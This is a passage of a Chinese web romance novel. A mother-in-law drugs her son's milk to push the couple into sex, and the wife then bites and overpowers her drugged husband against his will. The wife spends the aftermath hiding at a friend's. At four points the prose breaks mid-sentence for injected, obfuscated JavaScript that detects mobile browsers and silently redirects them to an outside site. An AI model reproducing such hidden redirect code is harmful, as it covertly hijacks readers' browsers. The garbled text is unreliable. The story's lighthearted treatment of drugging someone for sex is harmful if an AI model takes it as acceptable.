佣人道:“苏太太说白小姐不爱喝牛奶,所以特意煮了热可可。” 白琼:“……” 还真会胡诌,分明是为了好区分。 顾厌迟也没多想,微微颔首表示知道了。 下了这么久棋,而且还是烧脑的同色棋,他也的确有点渴了。 他拿起玻璃杯正要往嘴里送—— “等一下!” 顾厌迟被白琼这一嗓子吓得手一抖,牛奶差点溅出来。 他看向一脸慌张的女人,感到很是莫名,问道:“怎么了?” 白琼张了张嘴,一时之间不知道怎么开口。 告诉他那杯牛奶有问题?那不就把苏芸女士给暴露了吗,她的法子虽然偏激了点,但到底也是想帮她。 可就这么眼睁睁看着顾厌迟喝下去就更不好了。 她不擅长说谎,和顾厌迟大眼瞪小眼了半天,才憋出一句:“要不放一会儿吧,小心烫。” 顾厌迟还以为什么事:“这牛奶已经提前放凉过了。” “那,那……” 白琼“那”了好一会儿,最终只得硬着头皮道:“我最近突然喜欢上牛奶了,我们可以交换喝吗?” 这种蹩脚的理由也就骗骗三岁小孩了。 不过顾厌迟并没有往这杯牛奶有问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173683|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这方面去想,而是下意识的以为她只是单纯想要他经手的东西,毕竟这种情况并不是没发生过,之前他就发现她有将他衬衫掉下来的扣子偷偷收藏起来的行为。 顾厌迟有些头疼白琼对自己过度到近乎变态的迷恋,见她一副恳求的神情,他叹了口气。 想着这杯牛奶他还没喝,也就把给她了。 白琼装作很高兴的样子,伸手接过,故意没拿稳,杯子便摔到了地上。 这么近的距离牛奶不可避免溅在了男人衣服上,她也没有幸免。 “啊抱歉,我刚才不小心手滑了。” 她佯装懊恼,拿出手帕去给顾厌迟擦。 “不用了,我自己回房清理下。” 顾厌迟有洁癖,撂下这句话后难以忍受的快步上了楼。 白琼见人走了,坐在原地用手帕仔细将手上沾上的牛奶擦拭干净,奶腥味充斥着空气里,但更为浓重的是□□的味道。 不知道是苏芸女士生怕药不倒顾厌迟所以用了大剂量,还是这药的味道本身就有点冲,先前她就隐约嗅到了,此刻洒了一地,那气味就更浓了。 白琼起初没太在意,想着只要没喝就应该没事,没曾想闻到也会被影响。 她赶紧屏住呼吸,在药效还能控制之前急忙离开回了房。 白琼进屋的时候顾厌迟已经去浴室洗澡了,被牛奶打湿的衣服被他扔在了外面的脏衣篓。 她将衣服连带着脏衣篓一起丢到了外面,又把窗户打开了。 外面的空气流通进来很快将房间里那点儿□□的味道给冲淡,白琼还是感到很热。 这熟悉的燥热感让她警铃大作。 该死。 她原以为躲过了一劫,却没想到在□□的作用下会迎来更要命的热潮。 13.第十三章 以前白琼出现热潮的时候发了疯的想要去找顾厌迟,想要看见他,触碰他……得到他。 本身她对顾厌迟就有着一种病态的迷恋,平时还算能够克制,一旦到了这种特殊时期她心里沉睡的野兽就会被唤醒,变得欲壑难填。 更糟糕的是这一次她日思夜想的人真的就在身边。 这是一件很可怕的事情,她之前光是闻到他被子上他残留的气息就变得那么糟糕了,可想而知再这样继续和他共处一室自己会有多么的疯狂和失态。 得赶快离开这里,趁一切还可控之前。 白琼咬着牙,忍着身体不断上涌的如同岩浆一样的灼热艰难往门口挪动,在她的手放到门把上准备转开的时候。 “咔嚓”一声,伴随着钥匙孔插入的声音,门被从外反锁了。 白琼:“……” 苏、芸! 她真的要被自己这个婆婆给气死了,之前她嫁进顾家的时候,觉得自己配不上她宝贝儿子对她眼睛不是眼睛鼻子不是鼻子的,现在又不知道哪根筋搭错了要给自己当助攻了。 急着抱孙子也不是这么个抱法啊! 门被锁住了,她只能把出去的希望寄托于窗口。 她住的房间在三楼,不高不低,跳下去的话顶多骨折一下不至于有什么生命危险。 但那是正常情况,现在白琼的情况明显不属于正常范畴。 因为热潮加上□□的影响,她不光感到身体燥热,四肢也有些发软无力,一旦从这里跳下去一个没控制好平衡脑袋着地了那就完蛋了。 唯二的出口都被堵死了,她现在只有尽量在顾厌迟从浴室里出来之前平复下来。 这不是一件容易的事情。 往常的热潮来的快去的也快,往往持续在十分钟左右就会慢慢消退,但那是在不受任何因素影响的前提之下,而此刻于白琼而言最大的诱惑就在这里,她实在不敢保证自己可以压制得住。 淅淅沥沥的水流声从浴室里面传来,在偌大的房间里清晰可闻。 她最近这段时间虽然深受热潮的困扰,奇怪的是身体并没有受到什么影响,上个月去体检身体各方面的数据竟然有了不小的提升。 尤其是在五感上,就比如说现在,她不光能听清水流的声音,还能通过水声落下的高低距离描摹出里面男人的身体轮廓。 这就导致即使看不见浴室里的情况,她也和看见没什么区别了。 白琼只得将耳朵堵住,耳朵堵住了脑子又不受控制浮想联翩。 她干脆打开电视,挑了一个动物世界的纪录片看,以此来转移注意力,结果看了一会儿屏幕上出现了鬣狗交/配的画面。 “……” 白琼默默把频道换到了少儿频道。 花花绿绿的场景在她眼前掠过,里面卡通人物童真的举止让她满是黄色废料的思想短暂地得到了净化。 然后,顾厌迟洗完澡出来了。 男人穿着一件白色睡袍,微敞的衣领下两截漂亮的锁骨被水汽蒸腾着带着点儿浅粉,头发洗过吹干后有些蓬松的凌乱,不再是打理得一丝不苟的样子。 只是一个简单的发型改变,给人的感觉就完全不一样了,连带着五官都柔和了几分,不再那么冷冽得让人难以接近。 主宅常年备着顾厌迟常用的那款木质香,他的沐浴露和洗发水都是那种淡淡的清冽香气,像清晨在薄雾里凝着露水的草叶,朦胧湿冷。 先前被卡通片稍微压下去的燥热又有些蠢蠢欲动了。 白琼忙垂下眼,捏着遥控器道:“那个,你的衣服我刚才拿出去让人清洗去了。” 她竭力掩藏着,可声音还是透着一点涩然。 “一件衣服而已,脏了就扔了,没必要这么麻烦。” 顾厌迟瞥了眼电视,那鲜明斑斓的色彩实在刺眼,再加上先前老爷子就明里暗里催促她们早点生孩子,这使得眼前的画面变得意有所指起来。 他沉声道:“你也快去洗漱吧。” 顾厌迟说着走过去关了电视,然后从衣柜里拿了床褥铺在了地上便躺了下去。 他背对着白琼躺着,后者深深看了他一眼,然后才慢吞吞起身往卫生间去。 顾厌迟听到卫生间的门被关上后紧绷的神经稍微放松了些,那张白琼以为被水汽蒸腾得发热的脸随着时间推移并没有褪去颜色,反而越来越潮红。 他并不知道那杯牛奶有问题,只以为是自己又到了热潮期。 顾厌迟忍耐了一会儿,起身去倒了一杯冰水一饮而尽。 玻璃杯上冷气凝结的水珠滑落,滴在他的手指,又往下流经他的手背,留下一道透明的水痕。 顾厌迟盯着那水渍,喉结滚了滚,莫名的口干舌燥。 有点奇怪。 之前他身体出现热潮的时候会难以扼住地产生十分强烈的欲望,但他不知道自己在渴求什么,他既不想要女人,也无法通过自己得到疏解。 要形容的话就像一团罩在玻璃罐子里的火焰在熊熊燃烧着。 欲望在沸反盈天,而他被难以接近。 而这一次,那个把他隔绝在外的玻璃罩子被拿开了一点儿,他稍微可以碰触到了。 是空气,从刚才他从浴室出来开始空气就有些不对劲了。 有一缕很不寻常的气息在撩拨他,引诱他。 这是自从身体由于基因发生变异出现这奇怪的热潮期后,顾厌迟第一次有了所谓渴求的念头。 潜意识告诉他,只要抓住它,他一直压抑着的难以释放的一切会在这一刻得到解放。 他一开始还能克制,后面在感知到那气息越来越稀薄后他有些慌乱,大口大口呼吸着,试图把它留住。 顾厌迟太专注于捕捉这缕比药物还能让他得以疏解的气息,以至于白琼什么时候从浴室里出来他都没有觉察。 为了缓解燥热,白琼是用冷水洗的澡,头发也只是随意擦拭了下没有吹干。 窗外的夜风吹进来,清凉的温度让白琼感到前所未有的平静。 可在她要躺下休息之前,她又再次闻到了独属于顾厌迟身上的奇特的香气,且这一次比以往任何时候的都要浓。 也是在这个时候,她终于辨认出了顾厌迟身上的味道。 苦艾。 又和普通的苦艾不同,真要形容的话大概是浸入慢慢消融之中的雪水的苦艾。 冷冽的,苦涩的,让人目眩神迷的味道。 白琼忍不住深吸了一口气,苦艾的气息进入体内,以往只是流于表面的舌尖的苦蔓延到了肺腑。 有什么东西迫切想要把它侵占,交融。 然后她听到了自己略微粗重的呼吸声,但不止一道。 还有一道来自顾厌迟。 白琼一愣,因为顾厌迟是背对着她的,从她这个角度看不到他的脸,于是她绕到了前面。 男人并没有睡着,额发不知道是没有吹干还是被汗水浸湿了,湿漉漉地贴在额前,脸上潮红一片,连嘴唇也透着色如海棠的艳。 胸膛因为难受而剧烈起伏着,将领口撑开露出了一片光洁泛红的肌肤,这是以往保守得体的顾厌迟身上绝不可能出现的模样。 强烈的反差让白琼脑子宕机似的愣在原地。 许久她才找到了自己的声音。 “……厌迟,你不舒服吗?” 顾厌迟没有回答她,只是定定看着她。 白琼从没被他这样堪称专注地注视过,这让她有一种对方的眼中只有自己的错觉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178556|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她咽了咽口水,声音放得更轻了。 “我可以摸一下你的额头吗,你好像发烧了。” 白琼的角度是逆着光的,这让本就由于混沌的意识导致的模糊的视野更看不清眼前人的脸了。 可也正是视觉的弱化使得他其他感官更加敏锐了起来,尤其是嗅觉。 那种细得像一缕幽幽的空气的气息在白琼的手碰触到他额头的瞬间,“唰”的一下绷紧了。 顾厌迟也在这个时刻抓住了那个引诱着他的气息的源头。 他喉结耸动着,在白琼担忧和紧张的神情下哑着声音问道:“你用的什么香?” 白琼没有喷香水的习惯,她从小鼻子就很灵敏,受不了太过刺激的气味。 她想说自己什么都没用,可在看到他这副怎么看怎么糟糕的样子,猛然想起了挥发在空气里的□□剂的残留。 白琼嗫嚅着嘴唇,不知道该怎么把这件事糊弄过去,顾厌迟突然闷哼了一声。 男人神色痛苦地捂着脖子,那里像被一根根被烧红的银针扎进去一样,又烫又疼。 “厌迟,你怎么了?!” 白琼慌忙凑近查看,不想刚靠近,苦艾的气息猝不及防袭来。 同样猝不及防袭来的还有那股热潮。 她的直觉意识到自己现在的情况很危险,牙齿在苦艾的刺激下又疼又痒。 白琼忙站起来,想要远离顾厌迟。 随着白琼的离开,那缕本就淡得几不可闻的香气也跟着一块儿消退,脖子的灼烧感更重了。 顾厌迟下意识抓住了白琼的手。 男人的掌心灼热,烫得白琼整个人僵硬在了原地。 这是顾厌迟第一次主动碰触自己。 这种梦寐以求的亲近得以实现,她实在很难放手。 黑暗里白琼的视线存在感很强,乌黑的眸和黑夜一样,似要把他一寸寸地包裹,吞噬。 顾厌迟身体没由来颤了下。 白琼注意到了,这是发烧的时候体温处于上升期的正常反应,这时候人往往会感到冷。 她试探着伸手把人抱在怀里,顾厌迟是个身材高大的男人,白琼抱着他有些吃力。 顾厌迟上半身与其说是靠在白琼身上,不如说是蜷缩在她怀里。 他低着头,额头抵在她的肩膀,也是这个动作他的后颈完全暴露在了白琼的视野。 像是磁铁一样,在看到他脖子的瞬间白琼的视线立刻锁定在了右颈侧位置。 那是苦艾气息最浓,也是颜色最红的地方。 白琼呼吸一窒,抱着顾厌迟的手不自觉收紧了力道。 与此同时那股针扎的刺痛感越发强烈,疼痛还能忍耐,可那密密麻麻的如同蚂蚁爬行的痒意让顾厌迟几近抓狂。 他伸手用力往那块皮肤抓去,白琼吓了一跳,忙抓住他的手。 但还是晚了一步,那里已经被顾厌迟抓破,沁出了血珠。 “你干什么?!” 顾厌迟喘息着,神情痛苦道:“痒,好痒……” 痒。 白琼磨了磨牙,强压下去的痒意因为顾厌迟的提醒又冒了上来。 “白琼,我好痛,好痒,好难受。” 耳畔男人的气息灼热湿润,脖子上的血珠艳丽赤红,空气里苦艾的味道越发浓郁,这一切都无一不在刺激着白琼的感官。 “白琼,白琼。” 他在唤她,一声比一声急切,一声比一声渴求。 “啪”的一下,那根名为理智的弦骤然断裂。 像大多数男人在某种事情上无师自通一样,白琼也一样。 她没有犹豫,没有思考,在灵魂兴奋的战栗和欲望本能的驱使下急不可耐地咬了下去。 14.第十四章 事情怎么会发展成这样呢? 这是白琼清醒过来后第十五次这样在心里问着自己。 昨晚在顾厌迟的刺激下的热潮达到了前所未有的汹涌,三十九度?不,或许已经达到了惊人的四十度。 那种足以把脑子都烧坏的可怕温度下她还能保持理智和清醒就奇怪了,也正是因为如此,才让这一切都乱了套。 白琼没有失控时候发生的记忆,但这不代表她什么都不知道。 散落在地上的睡袍,空气里浓烈的让她难以忽略的气息都昭示昨夜的荒唐。 她僵硬着坐在床边许久,做了一系列的心理建设才敢看向床上躺着的男人。 顾厌迟脸上的潮红已经褪去,这是好事也是坏事,好事是这说明他的体温已经下去,不小心吸入的□□的药效也过去了,不好的是这显得她留下的痕迹在冷白的皮肤上格外明显。 尤其是他的脖子,白琼在上面又啃又咬,加上还被他用力抓挠过,伤痕累累,痕迹斑斑,干涸的血迹变得有些暗,有种触目惊心的凌虐美感。 知情的知道他们昨晚只是干了点少儿不宜的事情,不知情的乍一眼看还以为这是什么情杀凶案现场呢。 白琼完全看不下去了,捂着脸发出痛苦的呻吟。 她都干了些什么啊,就算再喜欢他再难以控制住自己的感情,也不能把人欺负成这样啊。 之前杨清容总让她收敛点,别总是用那样恨不得把人生吞活剥了的眼神看顾厌迟,她一个旁人看了都瘆得慌,白琼只当她是在调侃她恋爱脑,没有把这个形容当回事,现在她才可笑地发现她说的竟然是事实。 她潜意识里竟然真的喜欢到顾厌迟喜欢到这种程度。 这真的是爱吗?爱一个人怎么会忍心去伤害对方呢? 这是白琼头一次害怕甚至是质疑自己对顾厌迟的感情。 顾厌迟伤的并不严重,都是一些皮外伤。 白琼检查后松了口气,然后从衣柜最上面拿出医用急救箱给他简单处理了下伤口。 做完这一些后她又重新给他拿了一件干净的睡袍换上,直到顾厌迟再次变回她记忆里那个体面清贵的模样。 这种熟悉感让白琼有一种从高空走钢丝到脚踏实地的安心。 她很少有这样可以光明正大注视他的机会。 窗外的日光柔和,照在男人略显苍白的脸上让他多了一分脆弱的温柔。 脆弱。 这是白琼以前绝不会用在顾厌迟身上的词,可现在她除了这个词找不到别的恰当的形容。 在继顾厌迟或许没有她想的那么完美的认知后,她再次发现他也似乎没有自己想象的那么强大。 白琼有点失望,又觉得这样的顾厌迟变得没那么高不可攀也挺好。 可能是欲望得到了满足,她现在的内心出奇的平静,平静到即使这样近在咫尺的距离她也没有任何心跳加速的紧张感。 她抬起手将男人额前的头发拨开,让那张脸完完整整的映入自己的视野。 很好看的一张脸,依旧能一眼就吸引她所有的注意力,只是有什么地方似乎有些不一样了。 白琼闻着空气里已经淡得微不可闻的雪中苦艾的气息,舌尖的苦涩让她下意识皱了下眉。 她昨晚就是对这样不解风情的味道失控的吗? “咔嚓”,熟悉的门锁转动的声音再次响起。 反锁解开了。 白琼眼眸一动,对着镜子仔细整理好了着装,确认没什么问题后出了门。 果不其然,她一出去就看到了在不远处拐角楼梯口等着的苏芸。 苏芸手上夹着一根烟,靠着扶手边悠闲地吞云吐雾,瞥见白琼来了迫不及待上前:“怎么样,成了吗?” 白琼一言难尽地看着神情期待的女人,一时之间不知道该摇头还是点头。 “问你呢,到底成没成说话啊!你要急死我啊!” 白琼张了张嘴,欲言又止好几次这才憋出一个“嗯”字。 苏芸立刻喜笑颜开,连烟差点烫到手上都没发现。 白琼出声提醒道:“妈,小心烟。” 她浑然不在意地掐灭,兴致勃勃继续追问:“感觉如何?” “什,什么?” “别装糊涂,你知道我在问什么?就厌迟啊,怎么样?” 苏芸唏嘘道:“这孩子和你一样都是第一次,资本再好的男人第一次也都那样,不过你也没经验,你们两谁也别嫌弃谁……你那是什么表情,你别告诉我他连十秒都没坚持到吧。” “不是,我……” 她咬着嘴唇,先前好不容易平复下来的心情又乱了起来。 “您误会了,我和厌迟昨晚的确是成了,但可能和您想的过程不大一样。” 苏芸也被她搞得紧张了起来:“过程不一样?所以这过程你是满意还是不满意?” 白琼实在不知道该怎么说,昨晚以为没有记忆此刻在脑海中闪回,那一帧帧的画面都很模糊,像雾里看花看不真切,唯有一两帧也是最关键最露骨的部分倒是清晰可见。 画面中她咬破了男人的脖颈,男人身体抽搐着,如同被扼住住咽喉的野兽,在濒死之际爆发出惊人的力量翻身将她压在身下。 白琼没有一点被压制的恐慌,她顺势掐住了他的腰,抓着他头发把人用力往下摁…… 啊,太糟糕了,糟糕到她不知道以后该怎么面对顾厌迟。 没有哪个男人被这样对待就不生气,更何况是顾厌迟那样自尊心比天高的男人。 生气都是轻的,他没准杀了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184338|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心都有了。 这也是为什么白琼怂的不敢等他醒来先行离开,可一时的逃避并不能真的解决问题,该面对的早晚都得面对。 但白琼不想死的那么惨。 于是她想要再挣扎一下,看向了导致这一切的罪魁祸首:“妈……” 白琼难堪的,艰难的,慌乱无措的把昨晚发生的事情告诉了苏芸,苏芸从一开始的疑惑变为了震惊。 年近五十,什么大风大浪都见过的女人少有的露出了堪称惊恐的表情。 “你,你说你,你把厌迟给……” 苏芸捂着嘴,半天都说不出后面半句。 白琼也磕绊了起来:“我,我其实也不知道,我只有零星的一点记忆,记忆里似乎是这样的,但最后真的发生了什么,到了什么程度我就不得而知了,但厌迟应该知道,您可以一会儿等他醒来问问他。” “哈,问他?你怎么不去问?” “我,我不敢。” “你不敢我就敢了,我还是罪魁祸首呢,我疯了我这时候往枪口上撞?!” 白琼:“……” 她无话可说,两人诡异的同时陷入了沉默。 苏芸咬着指甲,头疼得厉害。 她就搞不懂了她不过就是被老爷子敲打了下,加上看白琼对自家儿子的确一往情深,并不是挟恩图报的别有用心,才松口打算帮她一把,将生米煮成熟饭。 白琼得偿所愿,她又可以早日抱上孙子孙女,一箭双雕,何乐而不为呢? 谁知道事情会是这么一个展开? 白琼忐忑极了:“妈,您帮帮我,有什么办法能让厌迟消气?我真的不是故意的,我也不知道当时怎么突然鬼迷心窍做了那样的糊涂事,我……” “啧,行了,做了就做了现在害怕后悔有什么用,总归爽了不是?再说了这又不是你的错,我下的药,你慌什么,你就当什么也不知道,到时候他醒了问起来我帮你抗。” 白琼既感动又有些不忍心,要是顾厌迟昨天真的喝了那杯加料的牛奶也就算了,关键是他没喝,那事情的性质就不一样了。 他喝了,门又被锁了,她帮他解决那是她善良了,但他吸入的那点儿挥发在空气的药剂不足以让他变成那样,他明显是身体不舒服。 那她就是趁人之危。 白琼咬了咬牙,觉得自己不该将一切推给苏芸一人承担:“妈,药是您下的,但是人是我欺负的,我们一起……” 她的话还没说完,便被一道重物摔砸在地的声音打断了。 苏芸抱着手臂看向声音传来的方向,叹道:“我还是头一次见他失控成这样,看来他是真的很生气了。” “哦对了,你刚才说要和我一起什么来着?” 白琼:“……没,没什么。” 15.第十五章 最后白琼不光没有鼓起勇气和苏芸共进退,甚至还临阵脱逃了。 她头一次在家宴上抛下顾厌迟,以学校有急事为由逃也似的离开了主宅。 她没有回家,怕之后顾厌迟回来来个瓮中捉鳖,而是找到了杨清容。 逃跑可耻但有用,在对方消气之前白琼打算暂且在自家好友这里避避风头。 杨清容对白琼的到来很是惊喜,半调侃半抱怨道:“哟,稀客啊,之前约你吃个饭都得预约个十天半个月的,没想到你这大忙人还有主动找上我的时候。” 白琼尴尬地笑了笑:“这不是正好周末吗,所以想着你可能不忙就过来看看你。” “少来,找我还需要挑时间?我又不上班,一个闲散富二代什么时候忙过?” 杨清容扭头对上门美甲师道:“一会儿贴钻的时候给我弄牢固点儿,上次没过几天就掉了。” “对了,你要不也弄个?你的手好看,这款裸色猫眼还挺适合你的。” 白琼看了眼杨清容指的那款美甲,的确不错,她有些心动,但还是摇了摇头:“不了,我看着你做就好。” 对于女人这个反应杨清容早有所料,她嗤笑了声:“是不感兴趣还是怕你亲亲老公不喜欢?” 白琼一噎,有些无奈:“清容。” “哼。” 过了一会儿,见到白琼的高兴劲儿过去了,杨清容才咂摸出不对来。 事出反常必有妖,白琼什么时候来找她都正常,唯独在顾家家宴隔天一大早找上她这就奇怪了。 先不论她对顾家家宴的重视程度,这次顾厌迟和她一起出席,这样难得的和他相处的机会放在以往白琼哪里会舍得错过。 杨清容的脸一下子严肃了起来:“白琼,我说你该不会……” 白琼本来就心虚,被她看得更是紧张得不敢和她对视。 “该,该不会什么?” 她眯着眼睛,拖长了声音道:“你该不会——被他赶出来了吧?” 白琼悬着的心放下,不免觉得好笑:“你怎么会这么想?他再怎么不喜欢我也不至于把我赶出来吧,况且就算他真那么干了,顾爷爷第一个打断他的腿。” 杨清容瘪了瘪嘴:“那可不一定,这种没品的事顾厌迟又不是没干过。” 她这人向来心直口快,说完后看见女人一下子凝住的神情才意识到自己说错话了。 “呃抱歉,我不是那个意思,我就是单纯担心你而已,你别多想。” 白琼看着杨清容慌忙解释的样子扯了下嘴角:“你道歉做什么,你又没说错。” 杨清容不提她都差点忘了,这种混账事顾厌迟还真干过,只是时间已经很久远了,在五年前,他们还没有结婚,刚上大学的时候。 白琼和顾厌迟从小一起长大,连初中,高中都是在一个学校上的,唯独大学。 顾厌迟的成绩很好,是当之无愧的学霸,白琼为了和他考入同一所大学在高三最后阶段冲刺的时候可谓是头悬梁锥刺股,努力努力再努力。 功夫不负有心人,在高考前的几次诊断性 考试她都考得很好,老师说只要不出意外她有很大概率考入A大,可偏偏出了意外。 在高考前夕她突然高烧不退,隔天强撑着上了考场,最后的结果不算差,她超了重本线二十分,只是没达到A大的录取分数线。 白琼伤心得一个暑假都没振作起来,唯一的好消息是录取她的B大和A大同城,她和顾厌迟虽然没上成一个大学,但至少不是异地,要见他只需要坐一小时地铁就行。 于是在顾厌迟生日的时候,她特意请了假拿着精心准备好的礼物去学校找他,她想给男人一个惊喜,去之前没有告诉他。 当时送他礼物的不止她一个,白琼见到他的时候他被一群女生围在中间,每个人都拿着礼物往他跟前凑,她一个人局促站在不远处,一时之间不知道该不该上去。 顾厌迟余光瞥见了他,拨开人群朝着她走了过去,当着众人的面从她手上接过了礼物,然后拽着她的手离开了。 白琼为这种特殊的区别对待而心跳加速,直到她被带到了校门口。 “谢谢你的礼物,你先回去吧,我一会儿还有课可能没办法陪你。” 撂下这句话后就让司机把她送走了,白琼整个人都是懵的,完全来不及反应。 直到回去后她才后知后觉意识到顾厌迟是把她当挡箭牌了,并不是真的想要收下她的礼物。 尽管周末的时候他主动约她吃了饭,为之前没办法陪她的事情道了歉,可到底是他真的觉得对不起自己还是被老爷子摁着头来的,谁也不知道。 这已经是陈芝麻烂谷子的事了,白琼那时候虽然伤心失落,更多的是觉得是自己没有提前告知让惊喜成为了困扰,反而在自责,没有一点对男人的不满。 而如今杨清容旧事重提,白琼却感到了愤怒。 杨清容注意到了女人情绪的变化,惊讶极了:“你生气了?我没看错吧,你真生气了?生顾厌迟的气?天啦,今天太阳也没打西边出来啊。” 白琼皱眉:“你这是什么语气,好端端的说话怎么那么阴阳怪气?” “我没阴阳怪气,我是在为你高兴,你终于知道生气了。你大老远拿着礼物眼巴巴跑过去找他,对方不光拿你当了挡箭牌还把你打发走了,只要是个正常人都该生气而不是自责。” 杨清容欣慰地拍了拍白琼的肩膀:“恭喜你,你终于变回正常人了。” 白琼一愣,这才明白过来对方为什么会这个反应,的确,放在以前的白琼身上,无论顾厌迟对她做什么她都不会生气的,所以现在她生气了反倒显得不正常了。 她抿着嘴唇,放在膝盖上的手握紧又松开,在确定已经肯定自己心里的那团火名为怒火后,白琼感到一阵陌生的惶恐。 那是一种类似于认知被打乱,世界观被重塑的冲击,让她脑子宕机了半晌。 “喂,喂,回神,想什么呢?” “啪”的一声,是响指打响的声音。 白琼眼眸动了动,随即如梦初醒般猛地一把抓住了杨清容在自己面前晃的手。 “对啊,我该生气的,我凭什么不生气?!” 杨清容被她突然拔高的声音吓了一跳,试图把手抽走,却发现女人的力气意外的大,索性任由她抓着了。 “生气就生气嘛,这么激动做什么?” 她等白琼情绪缓和了些又把话题拉到了最初:“所以你到底是因为什么才破天荒撇下你的心肝儿找我的?” 白琼从姗姗来迟的怒气中缓了缓,尽管她和杨清容关系好到可以说是无话不谈,但这种事情事关一个男人的尊严,更事关顾氏的形象,万一她不小心说出去了对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187200|196569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾厌迟乃至整个顾家都会造成不小的影响。 但她又实在不知道该怎么应对想找人支个招,毕竟自己总不能一直躲在杨清容家里不回去吧。 于是白琼将自己对顾厌迟做的事情略过,只说了苏芸下药想帮她们生米煮成熟饭的部分。 “虽然他没喝那杯加料的牛奶,但我们都不可避免吸入一些空气中挥发的气体,受到了一点影响,就,就……总之是违背了他的意愿,加上被算计了他醒来之后特别生气。他现在在气头上我不好往他枪口上撞,但一直躲下去也不是个办法。” 她抓了把头发,求救地看向杨清容。 “清容,你说我现在到底该怎么办?” “哦,我明白了,敢情你把我这当避难所了啊。” 杨清容翻了白眼,同时又为苏芸的狂野举动一阵咋舌。 没想到苏阿姨看着温温柔柔的,竟然会干出下药这种损招,真是人不可貌相。 这时候美甲已经做好了,她举起手对着灯光不慌不忙地欣赏了一会儿,见一旁的人都要急坏了,她才吹了下指甲回答。 “瞧你这没出息的样,才说你正常了后脚又打回原形了。药是你下的吗?你眼睁睁看着他喝了没制止吗?抛去这些不论,你们是合法夫妻,他受没受影响都得履行夫妻之间的合法义务,这事放到法院去告都是你占理,你有什么好怕的?” 话是这么说,可这不是有理没理的事情,这段婚姻本身就是她硬求来的,这五年她小心翼翼维系着生怕一个不小心讨了他的嫌。 杨清容一针见血道:“你怕他跟你离婚对吗?” 白琼抿着嘴唇默认了。 “那你就更不用害怕了,有顾老爷子在他这婚他想离也离不了。” 不是的,白琼想说她害怕的并不是离婚本身,而是失去,失去这段婚姻,失去和他光明正大站在一起的资格。 光是想想那种恐慌就让白琼有些喘不过气来。 杨清容叹了口气,拍了拍她的背安抚道:“好啦深呼吸,放轻松,你担心的事情不会发生的,这段时间你就住我这里暂避风头,要是过几天你回去后他还生你的气再说,兵来将挡,水来土掩,现在担心也没用。” “说起来上次我们住在一起还是高中夏令营那会儿呢,你还记得吗,我们大晚上在房间里不睡觉叫了一堆人玩枕头大战,虽然事后被老师劈头盖脸骂了一顿,还写了三千字检讨,但是那种快乐是多少钱都买不到的。” 女人本来是随便扯个话题想要转移白琼注意力的,到后面还真的控制不住怀念了起来。 “不过有钱能买到的快乐还是很多的,机会难得,要不我带你放松放松?” 白琼立刻警铃大作:“那种地方不行!” 杨清容无语:“你想什么呢,我是想问你要不要跟我去看比赛?” “比赛?” “网球比赛,我喜欢的那个选手最近回国了,这是他的回国首秀,我正愁找不到人陪我去看呢。要不要去?” 白琼之前听杨清容提起过那个网球选手,人气很高,一票难求,这让她有些犹豫。 “可是我不懂网球,你把票给一个看不懂球的人会不会太浪费了?” “看不懂球可以看人啊。” 杨清容勾起红唇,露出了一个暧昧的笑容。 “相信我,他长得超正的。” 16、第十六章 听到杨清容这不正经的话让白琼意识到对方可能也没多懂网球,纯粹冲着人去的。 作为女人的多年且算得上唯一好友,白琼对于对方颜控这一属性再清楚不过,这一点倒是和她那小侄女顾烟如出一辙。 但两者有一点不同,至少杨清容没那么严格,看重外在的同时也挺看重内在的,不然她这个平平无奇路人甲也没机会入她的眼。 不过她对朋友宽容,对外人可不一定,尤其是对男人,因此白琼这个眼里只有顾厌迟的恋爱脑都不免对她口中这种“超正点”的网球选手生起了一丝好奇心。 这得长得多权威才能被向来挑剔的女人夸成这样? “有他的照片吗?” 杨清容道:“有是有,不过照片哪有真人好看,到时候你到现场直接看就成了,保证让你大饱眼福。” 白琼也就没再过多询问了。 比赛是在两天后,还是晚上八点半,是一个对她这个老师兼班主任来说还算友好的时间了。 